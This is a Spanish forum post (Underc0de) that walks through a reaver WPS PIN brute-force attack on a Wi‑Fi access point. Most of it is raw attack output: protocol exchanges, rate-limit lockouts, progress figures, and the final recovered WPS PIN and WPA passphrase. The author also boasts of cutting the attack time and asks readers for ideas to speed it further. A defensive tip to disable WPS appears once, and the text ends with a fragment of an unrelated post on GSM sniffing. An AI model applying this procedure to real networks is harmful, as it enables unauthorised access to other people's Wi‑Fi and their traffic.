[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: cd:10:b9:11:11:67:dd:de:20:84:72:e7:48:c8:4d:45
[P] PKE: 68:25:d0:78:e4:9f:92:31:df:91:8c:df:3e:f7:f7:e8:c8:57:a9:c0:85:2b:eb:17:1b:cd:90:44:e2:81:a0:b4:83:ff:6b:b1:c7:51:83:3f:59:c4:7c:89:d9:9b:00:01:7e:ee:8f:c7:71:61:3e:66:92:96:1a:4f:7b:99:a4:a5:88:6d:df:75:b9:b3:e1:73:2f:e7:64:af:a9:d7:77:24:60:f1:c8:94:62:14:5f:a1:3e:b0:7f:9d:3e:df:82:45:86:50:7a:b1:04:5d:dc:67:84:c7:07:d3:74:99:41:25:5e:ad:28:da:64:6f:81:58:6f:13:8b:5a:c2:db:80:00:cd:e2:fb:65:ee:f5:b2:17:6e:b7:0e:96:9e:ff:93:2c:29:92:68:03:c7:d1:aa:83:f3:04:95:00:48:fc:0f:d2:f1:26:b3:65:71:19:07:f1:c8:52:16:78:10:0f:ec:b0:9d:e8:de:d4:f6:b3:39:18:32:f0:96:35:53:f8:81:1b
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 02:96:96:ab:b0:82:0e:77:b6:cb:ff:79:c5:68:22:83
[P] PKR: 89:c2:b2:07:6b:b2:a7:07:9e:fb:f3:2d:ba:9f:6f:17:09:69:e3:01:ea:4a:3c:a7:6d:11:1a:eb:5a:7f:b7:7d:b8:fc:05:c1:04:e8:0f:06:b0:15:85:05:d1:ce:22:4f:5a:88:78:9e:26:58:c9:50:98:e6:d2:1b:b0:46:9b:f4:57:cf:9f:62:66:8f:aa:be:58:58:d8:eb:28:05:b1:4a:ff:1f:c2:39:aa:6b:d4:a2:a6:c8:56:00:70:42:ee:c0:94:fc:b1:5f:2a:62:72:86:64:d3:30:30:c0:83:8e:e1:1f:e0:e1:ab:6c:e3:13:e0:68:6c:0d:c1:2e:8d:81:e5:c0:25:17:cf:08:7c:41:3a:ca:1e:61:22:82:79:2f:db:0d:ec:2b:94:1c:ba:99:eb:af:ad:e4:5d:53:17:46:8d:a7:43:81:1b:5d:d6:5d:7c:48:e9:d2:53:15:47:90:17:4a:5c:45:76:8f:2d:08:3e:8b:ef:24:ac:06:77:f8:8e
[P] AuthKey: 16:2c:1a:6f:5a:ff:c4:c3:7c:e3:92:69:2a:3e:51:a7:6e:4c:9e:bd:a0:c6:9e:79:00:e6:26:2b:43:0a:92:70
[+] Sending M2 message
[P] E-Hash1: 55:ae:77:7f:5d:aa:29:79:3d:67:54:e9:47:ff:d2:79:47:2d:2a:1a:0a:55:9a:e2:e6:6c:54:d1:62:50:d6:44
[P] E-Hash2: 39:6a:70:15:79:65:6c:95:0b:04:07:4a:f2:3c:79:fc:11:df:87:fe:58:08:75:41:53:be:1a:60:73:bd:51:4b
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 11
[+] Pin count advanced: 11. Max pin attempts: 11000

El contador se incrementa a 11 y todo sigue normalmente, hasta que el pánico vuelve.
Código: php
[+] Pin count advanced: 19. Max pin attempts: 11000
[+] Trying pin 00085670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 6d:70:61:22:83:c2:57:dd:25:ff:c0:41:24:55:6f:8d
[P] PKE: 31:b6:85:04:5b:5e:ff:69:fc:42:59:30:cb:2c:5a:fd:71:04:90:84:69:a7:21:ce:ca:5e:fe:fb:48:b5:f1:76:13:b3:af:b2:66:0a:09:2d:08:20:a2:41:a2:d4:1f:e4:eb:d3:b4:a0:ce:23:36:0b:15:b3:63:80:c0:50:e0:41:23:38:3b:0e:2f:4d:96:44:2c:4a:37:6f:5a:fe:46:76:a5:d3:6b:c1:06:34:d0:20:9e:bd:ae:64:a3:bd:85:2d:f6:2d:d8:22:5f:fc:fb:0d:6d:d5:bf:c5:02:9f:13:1a:0c:82:be:0f:64:a3:fb:f7:ca:4d:71:42:93:48:6a:d0:c0:92:24:25:b7:23:50:c3:e3:fb:3e:74:3f:b9:3e:74:80:19:9b:b6:a2:34:44:16:85:e1:ca:75:78:96:5d:65:e7:b9:4c:39:3a:fe:12:df:a0:be:bb:67:b0:d1:11:a9:1c:3f:90:7a:33:c8:1b:b8:2a:4a:c5:ea:8b:fd:fe:19
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 14:ad:38:42:02:f3:16:44:d0:98:b4:de:df:4e:ca:09
[P] PKR: 78:54:e6:55:4c:23:bb:06:ee:ef:15:be:3c:da:1e:55:2e:2c:b2:54:94:66:c9:f6:77:9a:0b:a6:25:a6:31:ca:d9:f7:70:14:ea:3a:f8:37:4a:59:80:a7:39:2e:43:2a:14:21:a8:ab:a8:31:43:29:e0:e2:aa:82:65:a7:97:41:e8:70:35:c9:e2:b8:cd:24:31:9b:67:17:3c:ad:e7:4a:aa:7b:13:97:5f:59:22:e0:5d:6a:ee:1f:64:30:c9:a3:de:da:f2:a4:5d:c5:27:82:4a:5e:90:65:36:ec:2d:c7:27:ee:04:6f:12:95:73:eb:47:8c:56:cd:7b:70:a3:6b:89:b7:d4:aa:15:05:39:d6:a6:83:00:03:62:14:2b:3f:dc:dd:5b:f9:f2:a9:a7:17:7d:97:12:9a:27:ba:0a:58:9d:a8:80:65:65:ac:e6:03:a3:60:c6:f5:8c:25:08:b3:63:64:43:8f:51:16:ca:78:4f:4f:ed:9f:99:e5:f7:ee
[P] AuthKey: b4:a4:ee:d0:cc:cd:c2:68:6d:7a:1f:52:17:69:7e:54:88:e9:b5:7e:49:84:d3:6e:ab:73:8a:d0:8d:b0:e9:fc
[+] Sending M2 message
[P] E-Hash1: cb:cb:1f:89:36:87:51:99:75:42:f3:87:6b:55:ce:3b:ca:16:25:cc:ab:41:ba:f5:19:cd:ba:95:d1:d3:23:5a
[P] E-Hash2: 0e:9d:5b:6f:98:51:ec:e3:58:17:90:99:03:cf:70:09:31:ea:ff:e2:c0:3c:b7:40:2d:15:99:8a:a6:6a:b0:4c
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 20
[+] Pin count advanced: 20. Max pin attempts: 11000
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking

Bien, visto estos resultados, con media neurona podemos darnos cuenta de que el AP nos bloquea por cada 10 PIN que probamos.
Citar¿Significa eso que el ataque no funcionará?
No. Significa que por cada 10 PIN que probamos el AP nos bloquea 10 minutos, dándonos un ratio de 1 PIN por minuto. Por lo tanto el ataque podría tardar, como máximo (Aunque sin contar las veces que un PIN no se pruebe correctamente), 11000 minutos.

11000 minutos /(60*24) = 7,6388888888888888888888888888889 días

7,6388888888888888888888888888889 = 7 días
0,6388888888888888888888888888889 días *24 = 15,333333333333333333333333333334 horas
0,333333333333333333333333333334 horas *60 =  20 minutos
Tiempo total del ataque: 7 días, 15 horas y 20 minutos
Tras 4 horas (259 minutos exactamente) de ataque podemos echar un vistazo a cómo está funcionando el ataque:
Código: php
[+] Pin count advanced: 242. Max pin attempts: 11000
[+] 2.20% complete. Elapsed time: 0d4h19m20s.
[+] Estimated Remaining time: 1d5h53m0s

Las pruebas con PIN iban de 10 en 10, por lo que entendemos que en 250 minutos debería haber probado 250 PIN diferentes. Se han perdido 8 minutos en errores 0x02 por estar demasiado lejos del AP.
Quiero aprovechar que no hace falta un equipo potente para llevar a cabo este tipo de ataques. Todo esto lo estoy haciendo desde un portátil muy viejo con serios problemas con la termodinámica. Pentium M a 1.70GHz con 1GB de RAM.

A las 16 horas todavía no hemos tenido resultados. Si hacemos números ahora 16 horas son 960 minutos, más los 20 que lleva de la 16ª hora hacen 980, minutos, que deberían ser 980 contraseñas probadas (10 cada 10 minutos). El ataque lleva 64 contraseñas de menos. Hemos derrochado una hora de valiosísimo tiempo.
Código: php
[+] Pin count advanced: 916. Max pin attempts: 11000
[+] 8.33% complete. Elapsed time: 0d16h20m53s.
[+] Estimated Remaining time: 0d14h0m20s

Bajo determinadas circunstancias la intensidad de la señal cae, llevándonos a errores 0x02 y a hops entre canales buscando la red con la que estábamos trabajando. ¿Os imagináis que reconfigurasen el canal del router mientras atacamos? Así lo pescamos de nuevo. Aunque este hopping es desactivable.
Código: php
[+] Trying pin 15225672.
[+] Switching wlan1mon to channel 13
[+] Switching wlan1mon to channel 14
[+] Switching wlan1mon to channel 1
[+] Switching wlan1mon to channel 2
[+] Switching wlan1mon to channel 3
[+] Switching wlan1mon to channel 4
[+] Switching wlan1mon to channel 5
[+] Switching wlan1mon to channel 6
[+] Switching wlan1mon to channel 7
[+] Switching wlan1mon to channel 8
[+] Switching wlan1mon to channel 9
[+] Switching wlan1mon to channel 10
[+] Switching wlan1mon to channel 11
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 39:55:8a:ca:1b:44:9a:77:0f:30:b9:e2:c5:fe:dd:22
[P] PKE: 7c:0d:36:ea:d1:d1:fb:e4:26:55:de:24:76:9e:28:02:19:95:1e:db:22:e9:3e:0d:c4:92:00:94:f3:f3:18:66:c7:4f:5a:9f:a2:fa:f4:42:9d:75:e7:ac:16:53:5a:7b:7e:b6:ce:4b:e0:b0:7f:1e:88:99:ba:71:3e:6a:fa:e2:87:3a:03:9e:a4:c7:04:4f:cb:5b:5c:12:d5:4d:30:d9:08:80:e4:f0:36:7a:79:f4:8a:91:dd:ff:82:31:16:ea:5d:46:f7:39:63:f4:bf:f4:af:50:fb:5c:43:07:82:24:f5:6d:03:38:0f:a9:a0:7a:4f:49:36:00:0b:01:bd:97:d9:26:75:25:89:b7:1d:7c:a7:fd:c9:3b:ee:12:0d:04:04:bb:fc:53:ec:85:6e:67:ab:00:4a:4c:71:a0:c4:30:2d:7d:9c:94:5d:cd:87:43:43:ab:d8:40:0e:d7:19:21:c2:8e:81:e8:55:83:bb:f4:63:73:5e:2e:74:83:12:75
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 5c:c8:8d:28:ab:49:aa:db:1a:2a:b8:4c:84:45:b7:60
[P] PKR: 00:9f:c5:1b:03:2f:91:dc:41:1d:a5:29:ad:40:0b:9a:8c:14:23:a4:b9:c1:a4:a9:07:bf:c7:76:cf:6d:f6:01:0b:d0:57:76:73:08:b1:58:e7:83:fb:15:6c:32:17:82:25:4d:af:0a:a1:7d:84:46:51:f3:cc:6e:e3:62:16:a7:17:96:bd:86:68:9c:82:01:b4:07:03:98:e3:ce:40:28:2c:1f:77:d0:63:56:54:2a:1c:0c:40:40:be:be:a5:1d:15:23:34:c5:79:fa:54:23:9f:30:e8:99:c1:a2:c6:58:ce:66:86:24:bd:c9:33:ac:7f:7a:6a:54:1b:76:e5:62:35:52:f7:3d:21:ac:aa:e0:ff:3b:c4:73:3e:63:14:ad:c1:d5:bd:f2:26:5f:eb:9e:a0:11:11:bc:14:3c:09:eb:fd:96:50:9b:3b:a9:78:9c:f4:90:25:f2:75:7a:10:b4:ee:8c:16:bc:21:3c:28:82:cf:71:f4:72:ce:fc:77:5d
[P] AuthKey: d2:f3:66:5f:e0:5e:aa:be:21:8a:99:d1:aa:f1:af:3a:83:43:07:20:36:83:ae:93:1b:d1:31:3e:82:72:b6:0e
[+] Sending M2 message
[P] E-Hash1: 75:1b:89:c8:7b:1d:4c:51:8c:c9:67:ce:1a:c3:e8:0b:3c:42:53:e2:54:a3:f9:3f:2e:d7:10:03:59:9c:bf:0c
[P] E-Hash2: 76:19:2a:97:a0:25:df:25:38:04:02:a7:1f:64:1e:b7:cb:a8:59:20:82:17:94:b6:0a:7e:7a:ad:d1:c4:0f:98
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 1531
[+] Pin count advanced: 1531. Max pin attempts: 11000

Llevamos 2 días MALGASTADOS y la cosa va al 25%.
Código: php
[+] Pin count advanced: 2750. Max pin attempts: 11000
[+] 25.00% complete. Elapsed time: 2d2h11m56s.
[+] Estimated Remaining time: 0d9h10m0s

En mi caso el mensaje me indica los siguientes valores:

Código: php
    ** Lleva probados 2750 PIN diferentes de un total de 11000  ---> [+] Pin count advanced: 2750. Max pin attempts: 11000
    ** Tardó 2d2h11m56s en llegar al 25%   ------------------------> [+] 25.00% complete. Elapsed time: 2d2h11m56s.


Y con esos valores podemos hacer las cuentas:

Código: php
    1 PIN por minuto * 3011 minutos malgastados                 = Deberían haberse probado 3011 PIN
    (3011 PIN al 100% - 2750 PIN probados)/1 PIN por minuto     = 261 minutos perdidos. 4,35 horas
    2750 PIN probados/(11000 PIN TOTALES/100)                   = Ataque al 25% (Como bien indica el propio mensaje)
    (11000 PIN TOTALES - 2750 PIN probados)/1 PIN por minuto    = ETA: 8250 minutos = 137,5 horas = 5,72 días


Obtenemos los siguientes valores:

    ** Rendimiento al 100%  = 3011 PIN
    ** Minutos perdidos     = 261 minutos = 4,35 horas = 0,18125 días
    ** Actual porcentaje    = 25% (2750 PIN)
    ** Tiempo estimado fin  = 8250 minutos = 137,5 horas = 5,72 días
Quedan 5 días, 17 horas, 16 minutos
Citar¿Vamos a tener que esperar una semana entera a que el ataque termine?
NO, aunque podría ser.
Unas veces podríamos tardar 5 días, otras veces 2, a lo mejor cuestión de horas. Lo que estamos calculando es el tiempo en el que se habrían probado los 11000 posibles PIN uno por uno, pero esperemos no tener que utilizarlos todos.

Al revisar el terminal en el que está corriendo reaver me encuentro con esta sorpresa:
Código: php
[+] p2_index set to 89
[+] Pin count advanced: 10089. Max pin attempts: 11000
[+] 91.72% complete. Elapsed time: 2d9h33m36s.
[+] Estimated Remaining time: 0d1h0m44s
[+] Trying pin 31340809.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 40:80:f2:4a:8f:40:76:03:33:46:8e:0a:c1:6c:b0:66
[P] PKE: aa:f9:7a:af:85:6c:f8:35:76:e5:56:a3:78:a9:24:95:42:b2:ca:e7:b3:7e:4d:fa:8d:de:04:57:7c:06:1b:cf:86:c2:10:01:0f:b3:ef:4f:89:da:70:67:5b:07:36:97:d4:48:96:94:43:9e:27:37:7f:aa:b3:57:b2:29:e2:eb:ae:35:44:d9:9f:b0:37:20:2c:1b:42:fe:b0:14:87:b8:6b:87:c7:98:ba:37:c4:39:51:67:2a:ba:5a:77:65:36:38:65:c1:33:b9:6b:0f:93:5f:48:33:b9:bc:e9:af:bc:48:03:8f:dc:b5:0d:72:e2:b5:e4:d4:4a:08:75:fe:fa:a1:e0:9e:97:1c:30:31:5f:ca:6f:0f:25:7e:f5:23:e9:4a:82:ab:b4:13:05:01:1c:81:1c:3e:b9:92:7f:9e:ec:7b:f7:3b:fa:aa:9f:84:ec:db:89:0a:41:04:da:9d:bb:6c:f2:2f:83:89:4b:56:b8:8b:fd:e1:95:bb:47:a2:49
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 48:4e:59:89:64:10:f8:4b:cb:c4:83:b0:2a:66:73:fc
[P] PKR: 5f:70:36:8d:33:90:29:fd:00:bb:df:e9:75:8a:77:8a:62:77:c0:c9:77:cd:f8:6a:96:9f:72:69:d1:12:5b:ef:29:91:35:bb:ac:64:c2:76:e3:29:9c:5e:e2:ad:77:86:0a:24:09:17:48:05:88:01:51:09:04:0c:97:34:a7:55:ab:12:25:24:0e:30:dd:4c:61:31:e3:bb:a7:3b:34:dc:1e:31:90:d4:24:a0:86:35:6b:07:33:9e:b3:69:e0:a4:64:a7:be:ca:63:3b:fe:79:1c:46:21:72:7c:57:64:05:c2:d7:b8:01:49:db:0c:28:82:48:e7:f7:1f:6b:bf:91:c5:46:00:5a:1c:c6:63:bc:1c:94:2e:c6:ff:23:7b:5f:75:8b:c0:77:b9:ce:18:d4:3a:a5:b2:65:bb:82:2b:fc:2e:a3:af:95:d9:70:bf:b3:a7:b0:0d:30:5c:fb:55:50:f1:0d:e7:01:68:f9:ed:ea:7f:2d:6e:f4:d7:05:19:d8
[P] AuthKey: 73:df:f7:46:a2:17:d0:25:2c:8c:d4:06:78:91:67:56:14:74:af:84:6a:d6:b7:11:aa:0c:69:08:1a:bb:23:5d
[+] Sending M2 message
[P] E-Hash1: 9e:e8:b0:ce:d9:9a:c0:0e:24:2a:8c:87:ce:2b:bc:e8:7c:1a:8a:ff:e5:83:bd:fa:51:5a:13:c9:b1:0c:0d:e9
[P] E-Hash2: f4:12:fa:7b:3a:6c:dc:c6:79:17:78:a3:fd:e1:ce:6e:be:57:72:78:ae:6d:0c:eb:43:aa:37:b6:4a:84:c9:8e
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p2_index set to 90

Ahora podemos ver como tras enviar el M4 recibimos el M5, tras lo que enviamos el segundo fragmento del PIN más la suma de verificación (Checksum). El AP nos responde con WSC NACK y reaver incrementa en 1 el índice p2_index (Puesto que p1_index aguanta la primera mitad del PIN).
Además ahora se prueban uno tras otro, por lo que entendemos que el AP bloquea la funcionabilidad WPS al recibir 10 M4 incorrectos, así que, habiendo descartado 10000 posibilidades, ya sólo nos quedan 1000 que se probarán sin límites de intento. En un par de horas conseguiré el PIN y, con el M7, la configuración WPA del AP.
Código: php
[+] p2_index set to 805
[+] Pin count advanced: 10805. Max pin attempts: 11000
[+] 98.23% complete. Elapsed time: 2d10h16m28s.
[+] Estimated Remaining time: 0d0h6m30s
[+] Trying pin 86337209.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 0d:3b:73:7f:da:b1:9a:08:19:c8:23:ab:0f:ba:b9:31
[P] PKE: c9:8f:e0:17:06:0f:85:89:ce:3c:71:4e:f5:66:4c:3c:35:e1:ce:d5:1f:29:53:8f:35:fd:a7:2c:2a:f5:bc:4b:5b:a0:91:fc:4c:73:11:db:61:19:82:8d:c6:70:30:1e:60:94:58:66:4e:61:5b:b5:1b:81:ef:11:87:46:db:80:9b:b6:bd:dc:e7:68:dd:3b:ef:39:04:fd:d6:fc:1f:34:08:5d:e1:36:c6:43:0a:63:c3:b1:47:f3:80:59:cb:1c:dc:0b:7c:9b:ae:c7:dd:83:af:15:24:ed:e4:bc:0d:a3:b5:d9:49:bd:91:91:a2:16:3e:5c:7b:21:ef:98:b9:9c:76:73:a0:9a:44:75:71:e6:f8:12:56:0d:10:7f:3d:46:bd:75:14:4d:9a:aa:7d:83:dc:d9:b4:f4:6a:00:24:3b:1f:dd:28:f1:7a:54:f7:ba:dd:a0:b7:f4:92:dd:de:99:2f:0d:66:84:b8:b3:de:a7:ac:bc:bd:ad:da:fe:79:53
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 49:89:b5:e6:f0:52:68:f8:a8:fe:59:1a:5b:36:d9:c2
[P] PKR: 9b:a0:ae:21:30:f7:13:e3:7a:0d:f7:bc:6e:50:e6:f1:5c:bc:47:e7:9e:b1:b4:cb:fc:ff:b1:22:38:2d:1d:9b:4c:89:13:5b:f2:a2:75:9b:2b:e4:7b:93:1d:50:a9:04:51:82:9d:51:e7:0a:f9:82:bd:bd:ac:04:a7:c2:1e:5c:55:1b:d0:15:04:83:5b:85:9b:a8:35:29:47:c0:4d:f3:e0:e5:69:a4:57:fa:77:0d:b5:6d:76:e5:ec:6f:83:7b:68:f9:18:d3:2a:4a:0e:4e:79:c2:ae:d0:1e:db:ef:dd:83:63:0c:be:0f:38:4e:df:68:c7:c1:e2:8f:a6:98:50:23:66:b9:3e:35:ee:2e:1b:17:a7:29:18:6c:94:23:01:f5:b7:e2:b5:48:72:b3:1c:f0:63:ff:df:0a:27:be:ce:e6:11:c0:ba:8d:3d:c9:19:b0:cf:8c:b0:0b:59:f4:d8:c9:40:4a:5b:93:68:28:e0:30:c8:55:88:b9:31:42:61
[P] AuthKey: 24:04:09:5a:b0:94:5f:51:2a:3e:c4:1c:7b:18:44:4e:25:9a:20:5f:dc:57:5c:51:99:1f:af:cc:eb:e2:7d:f3
[+] Sending M2 message
[P] E-Hash1: 97:2e:6d:9c:4c:57:8f:0c:db:b9:8d:fd:69:6e:3b:a9:a6:c9:cd:16:d4:02:9b:c1:90:a5:d5:29:2e:d3:f7:df
[P] E-Hash2: 13:34:69:36:6c:e9:3b:c4:f8:2e:6d:53:1c:bc:2a:d4:c7:a6:62:df:ea:41:10:cd:93:26:a2:26:42:35:23:c2
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 209792 seconds
[+] WPS PIN: '86337209'
[+] WPA PSK: 'Underc0de'
[+] AP SSID: 'VodafoneFFFF'

En 2 días y 10 horas obtenemos el PIN correcto y con éste la configuración del AP sin haber hecho absolutamente nada.

Es cierto que hay métodos para paliar estos ataques, como el AP Rate Limit con el que nos encontramos aquí, bloqueándonos cada 10 intentos, que en realidad no solucionan gran cosa, porque si disponemos de tiempo podemos obtener la contraseña igual.

Protégete: Apaga el WPS de tu router.

Ahora, al margen de esto, a mí siempre costó amoldarme a las normas, así que no quiero pasar por el aro: Quiero mejorar el tiempo de mi ataque.

Elapsed time: 2d10h16m28s
Citar¿Podemos mejorarlo?
Ya lo creo que sí. Podemos mejorarlo bastante. Yo he conseguido mejorarlo a:
Código: php
[+] p2_index set to 804
[+] Pin count advanced: 10804. Max pin attempts: 11000
[+] Trying pin 86337209.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 66:c4:e9:b1:3c:5e:92:24:d8:89:0b:bf:9c:c1:de:c8
[P] PKE: 70:f6:c8:4f:b8:eb:f0:d4:ad:6b:2a:bc:f0:69:6d:1b:7d:d3:06:5a:69:47:85:54:00:af:75:b5:5f:44:55:01:51:30:71:06:9a:46:6a:aa:b1:bc:19:31:88:a0:78:de:26:7e:4c:6b:de:9b:43:b7:e9:7c:38:32:83:89:1d:9c:28:c3:af:69:d4:fc:3f:de:53:5a:8c:65:dd:ad:42:83:bd:68:87:0e:7c:ea:6b:12:ee:a5:a6:33:58:59:06:88:6e:b1:bf:57:c6:39:09:7b:bb:ac:c1:5b:5e:09:96:e1:22:2e:15:ff:4a:6c:5a:bb:6f:a3:46:82:e5:bd:2b:e1:37:b7:9b:bf:4a:3b:f0:9f:31:d0:a6:36:99:d0:84:83:08:c5:bb:dd:f1:f3:e6:67:5d:ed:85:94:bc:60:f5:06:cd:ec:69:29:9d:f3:16:93:33:b5:e4:e6:97:a6:37:be:23:94:ab:c0:d2:bc:54:89:e7:26:56:e1:f0:20:23:34
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: d7:ca:f8:46:fe:d0:87:4d:48:f0:75:6d:b3:0c:30:67
[P] PKR: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:02
[P] AuthKey: 68:da:45:35:44:6c:04:3f:79:f9:3f:a9:c5:d8:98:73:d7:85:f2:b4:89:93:8f:c4:41:1e:58:c7:7e:2b:75:34
[+] Sending M2 message
[P] E-Hash1: 3d:e6:ed:23:2b:4f:6b:c1:25:63:ae:ce:b3:67:32:bd:6f:a5:3a:96:47:69:bc:4f:6c:e7:b8:05:8b:3c:c5:be
[P] E-Hash2: 7b:26:87:8e:90:9c:c2:3a:46:04:37:6c:bb:00:3c:74:25:41:98:3c:7c:78:df:dd:dc:9c:17:53:0d:ba:f8:c0
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p2_index set to 805
[+] Pin count advanced: 10805. Max pin attempts: 11000
[+] 98.23% complete. Elapsed time: 0d20h55m50s.
[+] Estimated Remaining time: 0d0h52m0s
[+] Trying pin 31348034.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 10:06:3f:1c:c9:e5:72:8f:90:4e:42:78:d2:9c:75:f3
[P] PKE: 70:f6:c8:4f:b8:eb:f0:d4:ad:6b:2a:bc:f0:69:6d:1b:7d:d3:06:5a:69:47:85:54:00:af:75:b5:5f:44:55:01:51:30:71:06:9a:46:6a:aa:b1:bc:19:31:88:a0:78:de:26:7e:4c:6b:de:9b:43:b7:e9:7c:38:32:83:89:1d:9c:28:c3:af:69:d4:fc:3f:de:53:5a:8c:65:dd:ad:42:83:bd:68:87:0e:7c:ea:6b:12:ee:a5:a6:33:58:59:06:88:6e:b1:bf:57:c6:39:09:7b:bb:ac:c1:5b:5e:09:96:e1:22:2e:15:ff:4a:6c:5a:bb:6f:a3:46:82:e5:bd:2b:e1:37:b7:9b:bf:4a:3b:f0:9f:31:d0:a6:36:99:d0:84:83:08:c5:bb:dd:f1:f3:e6:67:5d:ed:85:94:bc:60:f5:06:cd:ec:69:29:9d:f3:16:93:33:b5:e4:e6:97:a6:37:be:23:94:ab:c0:d2:bc:54:89:e7:26:56:e1:f0:20:23:34
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 91:db:4a:fb:35:b2:7e:66:dc:e3:6a:a5:6c:00:db:31
[P] PKR: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:02
[P] AuthKey: 17:13:53:db:0a:38:2e:25:8c:ad:9d:d7:55:a7:75:df:91:92:14:ff:ef:8b:e8:de:8e:02:aa:46:35:28:f3:0f
[+] Sending M2 message
[P] E-Hash1: a4:01:26:3c:70:2a:9b:82:ce:b5:92:c4:6d:3e:51:dd:c5:1b:cb:56:3d:f7:93:94:21:ee:30:ff:3b:27:f0:ba
[P] E-Hash2: 75:75:4c:d6:5e:a1:6b:4c:b5:a5:58:e2:b9:d7:f7:51:77:b8:75:84:0a:b1:4f:33:3d:cb:2d:f4:3e:e6:73:0a
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 75368 seconds
[+] WPS PIN: '86337209'
[+] WPA PSK: 'Underc0de'
[+] AP SSID: 'VodafoneFFFF'

real    1256m7.174s
user    1m37.880s
sys     2m21.980s

Citar
  • 98.23% complete. Elapsed time: 0d20h55m50s.

    real    1256m7.174s
    user    1m37.880s
    sys     2m21.980s
1256/60=20,93333333333333 horas (20 horas, 56 minutos)
He conseguido apurar el ataque hasta tardar unas 38 horas menos, lo cual no está nada mal.

Pero... ¿se podría mejorar más? ¿Cómo crees que lo conseguí yo? ¿Qué haríais vosotros? ¡IDEAS!¡IDEAS!¡IDEAS!¡IDEAS!¡IDEAS!¡IDEAS!¡IDEAS!
¡Participad, que estamos en una comunidad! Como demuestro en este post, para desbarrar me valgo solo, aquí vengo a hacerlo con más gente.

**
  by rand0m para Underc0de - Distribuido bajo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Click para ver los detalles).
#6
Hoy vengo a enseñaros cómo capturar tráfico de redes GSM900.

[/i]

